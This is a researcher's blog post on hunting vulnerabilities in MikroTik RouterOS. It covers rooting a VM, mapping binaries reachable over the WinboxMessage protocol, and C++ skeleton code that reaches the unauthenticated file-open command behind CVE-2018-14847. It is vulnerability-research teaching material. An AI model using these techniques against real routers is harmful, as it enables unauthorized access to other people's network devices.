Download as pdf or txt
Download as pdf or txt
You are on page 1of 17

Make It Rain with MikroTik

Not a Coinhive Writeup

Jacob Baines
Feb 12 · 10 min read

Can you hear me in the… front?


I came into work to find an unusually high number of private Slack messages. They
all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in
MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon


Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it
was a good time to finally put some of my RouterOS bug hunting into writing. Really,
any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing
this write up I found a new unauthenticated vulnerability. You could too.

Laying the Groundwork


Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still
have work to do. Even if you’re just planning to download a simple fuzzer and pray
for a pay day, you’ll still need to read this first section.

Acquiring Software
You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS
ISOs available on their website. The ISO can be used to create a virtual host with
VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)

Processing archive: mikrotik-6.42.11.iso

Extracting advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/boot.cat
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img

Everything is Ok

Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s
a toolthat’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------
0 0x0 NPK firmware header, image size:
15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian,
version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes,
blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel
80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel
80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005
Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo
3801732988

albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-
6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
albinolobster@ubuntu:~/6.42.11$

Hack the Box


When looking for vulnerabilities it’s helpful to have access to the target’s filesystem.
It’s also nice to be able to run tools, like GDB, locally. However, the shell that
RouterOS offers isn’t a normal unix shell. It’s just a command line interface for
RouterOS commands.
Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute
anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is
written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs
you can create the file and insert any commands you want. The exact process takes
too many words to explain. Instead I made a video. The screen recording is five
minutes long and it goes from VM installation all the way through root telnet access.
Ever make a screen recording with no mistakes? Me neither.

With root telnet access you have full control of the VM. You can upload more tooling,
attach to processes, watch logs, etc. You’re now ready to explore the router’s attack
surface.

Is Anyone Listening?
You can quickly determine the network reachable attack surface thanks to
the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and
SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-
test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an
administrative tool that runs on Windows. It shares all the same functionality as the
Telnet, SSH, and HTTP interfaces.
Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you
ask?

The Real Attack Surface


The ps output makes it appear as if there are only a few binaries to bug hunt in. But
nothing could be further from the truth. Both the HTTP server and Winbox speak a
custom protocol that I’ll refer to as WinboxMessage (the actual code calls
it nv::message ). The protocol specifies which binary a message should be routed to.
In truth, with all packages installed, there are about 90 different network reachable
binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be
found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I
wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f
~/6.42.11/_system-6.42.11.npk.extracted/squashfs-
root/nova/etc/loader/system.x3
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that
the WinboxMessage protocol uses to determine where a message should be handled.

Me Talk WinboxMessage Pretty One Day


Knowing which binaries you should be able to reach is useful, but actually knowing
how to communicate with them is quite a bit more important. In this section, I’ll
walk through a couple of examples.

Getting Started
Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some
code. I’ve written a bunch of C++ that will do all of the WinboxMessage
protocol formattingand session handling. I’ve also created a skeleton program that
you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
return EXIT_FAILURE;
}

Winbox_Session winboxSession(ip, port);


if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
You can see the Winbox_Session class is responsible for connecting to the router. It’s
also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier
of 17. In order to reach undo, you need to update the code to create a message and set
the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);


if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}

WinboxMessage msg;
msg.set_to(17);

Command and Control


Each message also requires a command. As you’ll see in a little bit, each command
will invoke specific functionality. There are some builtin commands (0xfe0000–
0xfe00016) used by all handlers and some custom commands that have unique
implementations.

Pop /nova/bin/undo into a disassembler and find


the nv::Looper::Looper constructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the
following.
This is the vtable for undo’s WinboxMessage handling. A bunch of the functions
directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is
handled by nv::Handler::cmdGetPolicies ). You can also see I’ve highlighted the
unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to
jump into cmdUnknown . You can see it starts with a command based jump table.
It looks like the commands start at 0x80001. Looking through the code a bit,
command 0x80002 appears to have a useful string to test against. Let’s see if you can
reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need
to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);

std::cout << "req: " << msg.serialize_to_json() << std::endl;

msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}

std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}

return EXIT_SUCCESS;

After compiling and executing the skeleton you should get the expected, “nothing to
redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i
10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp:
{uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to
redo',Uff0001:[],Uff0002:[17]}
nothing to redo
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

There’s Rarely Just One


In the previous example, you looked at the main handler in undo which was
addressable simply as 17. However, the majority of binaries have multiple handlers.
In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this
example because it’s the vector for CVE-2018–14847 and it helps demystify these
weird binary blobs:
My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers


Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In
6.42.11, there are only two code cross references to addHandler . It’s easy to identify
the handler you’re interested in, handler 2, because the handler identifier is pushed
onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for
the handler’s vtable. This structure should look very familiar:
Again, I’ve highlighted the unknown command function. The unknown command
function for this handler supports seven commands:

1. Opens a file in /var/pckg/ for writing.

2. Writes to the open file.

3. Opens a file in /var/pckg/ for reading.

4. Reads the open file.

5. Cancels a file transfer.

6. Creates a directory in /var/pckg/.

7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File
Let’s try to open a file in /home/web/webfig/ with command 7. This is the command
that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the
handling of command 7 in the code, you’ll see the first thing it looks for is a string
with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is
interesting?
The real answer is “none of them” look interesting. But list contains a list of the
installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton
program, you’ll want to overwrite the set_to and set_command code. You’ll also want
to insert the add_string . I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);


if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}

WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);

std::cout << "req: " << msg.serialize_to_json() << std::endl;

msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i
10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:
[2,2]}
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to
the reader. This very simple CVE-2018–14847 proof of concept contains all the hints
you’ll need.

Conclusion
I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the
attack surface and taught you how to navigate the system binaries. I’ve given you a
library to handle Winbox communication and shown you how to use it. If you want
to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise,
you now know enough to be dangerous.

Good luck and happy hacking!


Infosec Bug Bounty Reverse Engineering Code Hacking

You might also like